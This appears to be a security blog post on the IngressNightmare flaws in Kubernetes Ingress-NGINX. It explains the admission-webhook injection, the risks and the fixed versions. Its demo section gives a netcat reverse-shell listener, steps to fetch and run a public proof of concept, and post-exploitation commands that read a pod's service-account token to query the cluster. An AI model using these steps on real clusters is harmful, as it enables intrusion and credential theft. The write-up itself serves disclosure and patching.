Kubernetes, the leading platform for container orchestration, often faces security challenges. On March 24, 2025, Wiz Research disclosed several critical vulnerabilities in the Ingress-NGINX Controller for Kubernetes, now referred to as #IngressNightmare:
- CVE-2025-1097: Auth-TLS-Match-CN Annotation Injection
- CVE-2025-1098: Mirror UID Injection
- CVE-2025-24514: Auth-URL Annotation Injection
- CVE-2025-1974: NGINX Configuration Code Execution
This flaw allows attackers to inject arbitrary directives like ssl_engine to load malicious code or run system commands remotely. With a CVSS score of 9.8, the vulnerability lets attackers bypass the usual Ingress creation permissions. That means anyone with network access to the controller including internal pods or exposed services could potentially exploit it.
Why it’s Dangerous?
- Cluster-Wide Access: The Ingress controller often has permission to read all secrets in a cluster. If compromised, attackers could steal credentials, move laterally, and access sensitive data.
- Ransomware Risk: With remote code execution (RCE), attackers could deploy ransomware, encrypt data, or use the Ingress pod as a foothold to attack other parts of the cluster.
- Multi-Tenant Threats: In shared environments, a breach in one tenant’s environment could lead to a full cluster takeover.
Affected Setups
- Kubernetes clusters using
ingress-nginxas the Ingress controller, especially versions before v1.12.1 or v1.11.5. - Clusters where the Validating Admission Webhook is reachable from internal pods or exposed to the internet.
The Vulnerable Component: Admission Controller
At the heart of these vulnerabilities is the admission controller component of Ingress NGINX. This controller validates incoming ingress objects before they are deployed. By default, these admission controllers are accessible over the network without authentication, making them highly appealing attack vectors.
When the Ingress-NGINX admission controller processes an incoming ingress object, it:
- Constructs an NGINX configuration from the ingress object
- Validates this configuration using the NGINX binary
The vulnerabilities exist in this validation process.
For more details: https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
Exploit Workflow
The exploit follows these main steps:
Generate shared object (used by the injected ssl_engine property): Compiles a .so library (evil_engine.so) containing reverse shell payload.
Upload the shared object: Sends the compiled shared object to the ingress pod, leveraging request handling (client body buffers). The trick here is to send a different Content-Length to the server to keep the connection open and maintain the file descriptor for the file open.
Brute-force fd: Iterates over process IDs and file descriptors (/proc/{pid}/fd/{fd}) to identify the correct descriptor referencing the uploaded object.
Demonstarting the Threat
Step 1: Check Ingress Nginx Version & Access the webhook port with a port forward
We forward the ports of the ingress admission controller and the ingress controller for external access
kubectl exec -n ingress-nginx $(kubectl get pods -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].metadata.name}') -- /nginx-ingress-controller --version
kubectl port-forward -n ingress-nginx service/nginx-ingress-ingress-nginx-controller 8080:80
kubectl port-forward -n ingress-nginx service/nginx-ingress-ingress-nginx-controller-admission 9443:443
Step 2: On the attacker's side, we open a port using Netcat to listen for incoming connections.
nc -lnvp 1904
Step 3: Exploiting the Vulnerability
Now it's time to run the exploit. We'll use a publicly available PoC script to trigger the vulnerability. You can find the script here.
git clone https://github.com/rjhaikal/POC-IngressNightmare-CVE-2025-1974
vim shell.c # Replace with the attacker’s IP address and Port.
make shell.soRun the exploit
python3 exploit.py
Shortly after, the attacker’s host will establish a connection. The attacker now has full shell access to the pod and can execute commands, escalate privileges, or move laterally within the cluster.
curl -LO https://dl.k8s.io/release/v1.32.0/bin/linux/amd64/kubectl
chmod +x ./kubectl
ls /var/run/secrets/kubernetes.io/serviceaccount
./kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
--certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
--server=https://kubernetes.default.svc \
get nodes
Upgrade Ingress NGINX
Update Ingress-NGINX to version v1.12.1 or v1.11.5 to patch the vulnerability.
helm upgrade nginx-ingress ingress-nginx/ingress-nginx --namespace ingress-nginx --version 4.11.5
Conclusion
The IngressNightmare vulnerabilities discovered by Wiz Research, including CVE-2025-1974, emphasize serious risk for Kubernetes users. If you’re running ingress-nginx, now’s the time to take immediate steps to secure your setup.
Reference
